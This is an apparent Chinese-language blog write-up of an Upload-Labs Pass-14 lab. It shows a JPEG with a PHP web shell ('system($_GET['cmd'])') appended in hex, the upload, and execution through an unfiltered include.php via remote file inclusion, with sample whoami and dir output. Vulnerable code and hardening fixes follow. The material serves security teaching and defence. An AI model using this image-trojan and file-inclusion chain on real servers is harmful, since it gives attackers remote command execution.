当前位置: 首页 > ai >正文

绕过文件上传漏洞并利用文件包含漏洞获取系统信息的技术分析

绕过文件上传漏洞并利用文件包含漏洞获取系统信息的技术分析

一、实验环境
  • 靶场平台:Upload-Labs(Pass-14)
  • 靶机系统:Windows 8 Business Edition (NT 6.2)
  • Web服务:Apache + PHP 5.4.45
  • 关键漏洞
    1. 文件上传绕过漏洞
    2. 文件包含漏洞(include.php)
  • 实验工具:010 Editor(十六进制编辑器)

二、技术原理

1. 文件上传绕过核心
  • 文件签名欺骗:通过010 Editor在真实图片文件(JPEG)末尾注入恶意PHP代码
  • 绕过检测机制
    • 文件头保留合法的JPEG签名(FF D8 FF E0
    • 文件内容包含完整的图片数据
    • 在文件尾追加PHP代码:<?php system($_GET['cmd']);phpinfo();?>
2. 文件包含漏洞利用
  • 动态文件包含include.php未过滤file参数
  • 远程文件包含:支持http://协议包含外部文件
  • 代码执行:PHP解析器会执行图片中的PHP代码

三、完整攻击步骤

步骤1:构造图片木马
00000000: FFD8 FFE0 0010 4A46 4946 0001 0101 0100  ......JFIF......
00000010: FFDB 0043 0005 0607 0605 0807 0607 0908  ...C............
... (合法的JPEG图片数据) ...
000001F0: FFDB 0043 0108 0909 0C0A 0C17 0C0C 1700  ...C............
00000200: FFDD 1A12 BAB1 49D8 8BC8 6E72 3FCF B52A  ......I...nr?..*
00000210: DBB3 67C5 7573 68AB 0A64 93F7 B0AB FD6A  ..g.ush..d.....j
00000220: 68F4 68E3 0723 E7E4 AFE1 DF5F 7461 2A44  h.h..#....._ta*D
00000230: B99C 0440 0879 EB47 D693 E549 5203 B205  ...@.y.G...IR...
00000240: 2629 7D0A 35A0 5F3F F09F A540 3AA8 A0FD  &)}.5._?...@:...
00000250: FA7C 9191 095C F502 91C7 CDF8 1A8E 5FB7  .|...\........_.
00000260: 4010 D140 A2A4 02D2 D21A 4312 9452 528A  @..@......C..RR.
00000270: 6039 4C4C 86A0 1534 7401 28A5 ED48 2945  `9LL...4t.(..H)E
00000280: 2500 14EA 2803 FF00 D9DC 13B4 28CA 3E45  %...(.......(.>E
00000290: 7CE0 A434 BC52 F912 71A2 B51F E1BF 3C3F  |..4.R..q.....<?
000002A0: 7068 7020 7379 7374 656D 2824 5F47 4554  php system($_GET
000002B0: 5B27 636D 6427 5D29 3B70 6870 696E 666F  ['cmd']);phpinfo
000002C0: 2829 3B3F 3E0A                           ();?>.
步骤2:上传恶意图片
  1. 访问上传页面:http://192.168.1.24/upload-labs/Pass-14/index.php
  2. 选择构造的图片木马上传
  3. 获取存储路径:http://192.168.1.24/upload-labs/upload/7320250810030340.jpg
步骤3:利用文件包含漏洞
GET /upload-labs/include.php?file=http://192.168.1.24/upload-labs/upload/7320250810030340.jpg&cmd=dir HTTP/1.1
Host: 192.168.1.24
步骤4:执行系统命令(示例)
命令参数功能示例输出
cmd=dir列目录A032-9EC7 C:\phpStudy\WWW\upload-labs\upload
cmd=whoami当前用户nt authority\system
cmd=ver系统版本Windows 8 [版本 6.2.9200]

截屏2025-08-10 11.24.43

四、关键漏洞分析

1. 文件上传绕过点
// 伪代码:Pass-14的检测逻辑
if(is_image($_FILES['file']['tmp_name'])) { // 仅检测文件头move_uploaded_file(); // 直接保存文件
}
2. 文件包含漏洞源码
// include.php 关键代码
$file = $_GET['file'];
include($file); // 未过滤直接包含
3. PHP配置缺陷
; php.ini 危险配置
allow_url_fopen = On
allow_url_include = On ; 允许远程文件包含

五、防御方案

1. 文件上传安全加固
// 安全的验证方案
$allowed_types = ['image/jpeg', 'image/png'];
$extension = pathinfo($filename, PATHINFO_EXTENSION);if(in_array($_FILES['file']['type'], $allowed_types) &&in_array($extension, ['jpg','jpeg']) &&getimagesize($_FILES['file']['tmp_name']) // 真实图片检测
) {// 重命名文件+设置存储目录无执行权限$new_name = md5(uniqid()).'.jpg';move_uploaded_file($tmp_name, "/var/www/uploads/$new_name");
}
2. 文件包含漏洞修复
// 白名单过滤方案
$allowed_files = ['header.php', 'footer.php'];
if(in_array($_GET['file'], $allowed_files)) {include($_GET['file']);
} else {die("Invalid file request!");
}
3. 服务器加固措施
# Nginx配置禁止上传目录执行PHP
location ~* ^/uploads/.*\.(php|phar)$ {deny all;
}

六、技术总结

  1. 双重漏洞组合利用

    • 文件上传绕过 → 获取攻击立足点
    • 文件包含漏洞 → 实现代码执行
  2. Windows系统特性

    • 文件扩展名检测不严格(.jpg中的PHP代码仍可执行)
    • 路径解析特性(::$DATA流等绕过方式)
  3. PHP版本影响

    • PHP 5.4.45存在allow_url_include默认开启风险
    • 旧版本对特殊字符过滤不足

防御核心:采用"纵深防御"策略,在文件上传、存储、访问三个层面分别设置安全措施,避免单点防护失效导致系统沦陷。

此技术文章可用于网络安全知识分享,请严格遵守《网络安全法》,仅用于授权测试和教育目的。

http://www.xdnf.cn/news/17423.html

相关文章:

  • GPT OSS深度解析:OpenAI时隔6年的开源模型,AI民主化的新里程碑?
  • ubuntu 安装内核模块驱动 DKMS 介绍
  • RL代码实践 02——策略迭代
  • IDEA 如何导入系统设置
  • Go语言中切片(Slice)的拷贝
  • IDEA 快捷编辑指南
  • Mybatis学习之动态SQL(八)
  • 大型动作模型LAM:让企业重复任务实现80%效率提升的AI技术架构与实现方案
  • android 使用openimagelib OpenImage 实现点击放大图片,浏览
  • 计算机网络---IP(互联网协议)
  • MySQL(190)如何优化MySQL的网络传输?
  • Mysql系列--5、表的基本查询(下)
  • 【后端】Java 8 特性 `User::getId` 语法(方法引用)介绍
  • 五种Excel表格导出方案
  • Java学习第一百二十三部分——HTTP/HTTPS
  • 18.3 全量微调:数据预处理之清洗与准备
  • windows的cmd命令【持续更新】
  • CompletableFuture实现Excel sheet页导出
  • 微信小程序中实现表单数据实时验证的方法
  • Python中的 __name__
  • Deep Learning MNIST手写数字识别 Mac
  • 深入解析Go设计模式:命令模式实战
  • 单链表专题---暴力算法美学(2)(有视频演示)
  • Linux 系统中,如何处理信号以避免竞态条件并确保程序稳定性?
  • Oracle 19C 查看卡慢的解决思路
  • 使用快捷键将当前屏幕内容滚动到边缘@首行首列@定位到第一行第一个字符@跳转到4个角落
  • 【2025CVPR-图象去雾方向】BEVDiffuser:基于地面实况引导的BEV去噪的即插即用扩散模型
  • 诺基亚就4G/5G相关专利起诉吉利对中国汽车及蜂窝模组企业的影响
  • PHP项目运行
  • 亚麻云之数据安家——RDS数据库服务入门